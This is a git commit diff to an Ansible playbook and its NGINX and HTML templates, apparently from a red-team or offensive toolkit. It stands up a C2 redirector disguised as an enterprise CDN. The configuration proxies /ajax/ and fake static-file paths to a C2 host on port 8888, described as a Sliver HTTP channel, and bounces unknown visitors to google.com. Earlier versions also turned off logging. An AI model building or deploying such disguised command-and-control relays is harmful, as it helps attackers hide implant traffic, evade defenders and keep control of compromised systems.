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redirector working

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n0mad1k
2025-04-11 21:33:36 -04:00
parent 7562e3dc44
commit 95602a5df0
3 changed files with 81 additions and 109 deletions
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tasks/configure_redirector.yml
+74 -1
View File
@@ -70,6 +70,10 @@
group: root
when: zero_logs | bool
- name: Set subdomain value explicitly
set_fact:
redirector_subdomain: "cdn"
- name: Configure NGINX for C2 redirection
template:
src: "../templates/redirector-site.conf.j2"
@@ -108,7 +112,76 @@
creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
when: domain != "example.com"
- name: Test NGINX configuration
command: nginx -t
register: nginx_config_test
ignore_errors: true
- name: Debug NGINX configuration test results if failed
debug:
var: nginx_config_test.stderr_lines
when: nginx_config_test.rc != 0
- name: Ensure NGINX configurations are valid
block:
- name: Fix NGINX configuration if test failed
copy:
content: |
server {
listen 80;
listen [::]:80;
server_name cdn.{{ domain }};
# Root directory
root /var/www/html;
index index.html;
# Primary location for legitimate traffic
location / {
try_files $uri $uri/ =404;
}
# Special URI patterns for C2 traffic
location /ajax/ {
proxy_pass http://{{ c2_ip }}:8888;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
# Static resources
location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
proxy_pass http://{{ c2_ip }}:8888;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
# Redirect unknown traffic
return 301 https://www.google.com;
}
dest: /etc/nginx/sites-available/default
mode: '0644'
owner: root
group: root
when: nginx_config_test.rc != 0
when: nginx_config_test.rc != 0
- name: Restart NGINX
systemd:
name: nginx
state: restarted
state: restarted
register: nginx_restart
ignore_errors: true
- name: Verify NGINX is running
service:
name: nginx
state: started
when: nginx_restart is failed
templates/redirector-index.html.j2
+3 -64
View File
@@ -3,7 +3,7 @@
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{ redirector_subdomain }} - Content Delivery Network</title>
<title>CDN - Content Delivery Network</title>
<style>
body {
font-family: Arial, sans-serif;
@@ -30,23 +30,6 @@
margin-bottom: 1.5em;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
.feature {
display: flex;
align-items: center;
margin-bottom: 1em;
}
.feature-icon {
background-color: #3498db;
color: white;
border-radius: 50%;
width: 40px;
height: 40px;
display: flex;
align-items: center;
justify-content: center;
margin-right: 1em;
font-weight: bold;
}
footer {
background-color: #2c3e50;
color: white;
@@ -56,62 +39,18 @@
bottom: 0;
width: 100%;
}
.btn {
display: inline-block;
background-color: #3498db;
color: white;
padding: 0.7em 1.5em;
border-radius: 5px;
text-decoration: none;
font-weight: bold;
}
</style>
</head>
<body>
<header>
<h1>{{ redirector_subdomain }}.{{ domain }}</h1>
<h1>cdn.{{ domain }}</h1>
<p>Enterprise Content Delivery Network</p>
</header>
<div class="container">
<div class="card">
<h2>Welcome to Our CDN</h2>
<p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications. Our CDN provides fast, reliable, and secure content distribution across our global network.</p>
<p><em>This is a private service. Unauthorized access is prohibited.</em></p>
</div>
<div class="card">
<h2>Our Features</h2>
<div class="feature">
<div class="feature-icon">1</div>
<div>
<h3>Global Distribution</h3>
<p>Content cached and distributed across multiple geographic locations for minimum latency.</p>
</div>
</div>
<div class="feature">
<div class="feature-icon">2</div>
<div>
<h3>DDoS Protection</h3>
<p>Enterprise-grade protection against distributed denial of service attacks.</p>
</div>
</div>
<div class="feature">
<div class="feature-icon">3</div>
<div>
<h3>Asset Optimization</h3>
<p>Automatic compression and format optimization for images, scripts, and styles.</p>
</div>
</div>
</div>
<div class="card" style="text-align: center;">
<h2>Need Access?</h2>
<p>If you're a client requiring access to our CDN services, please contact your account representative.</p>
<a href="#" class="btn">Contact Sales</a>
<p>This server is part of our global content delivery network.</p>
</div>
</div>
templates/redirector-site.conf.j2
+4 -44
View File
@@ -1,20 +1,7 @@
server {
listen 80;
listen [::]:80;
server_name {{ redirector_subdomain }}.{{ domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
server_name cdn.{{ domain }};
# Root directory
root /var/www/html;
@@ -26,55 +13,28 @@ server {
}
# Special URI patterns for C2 traffic
# These will redirect to the actual C2 server
# Sliver HTTP C2 channel
location /ajax/ {
proxy_pass http://{{ c2_ip }}:8888;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# Static resources that actually redirect to C2
# Static resources that redirect to C2
location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
proxy_pass http://{{ c2_ip }}:8888;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Additional security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Disable logging for this server block
access_log off;
error_log /dev/null crit;
}
# Catch-all server block to respond to unknown hosts
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
# Self-signed cert for catch-all
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Redirect all unknown traffic to a legitimate-looking site
# Redirect unknown traffic
return 301 https://www.google.com;
# Disable logs
access_log off;
error_log /dev/null crit;
}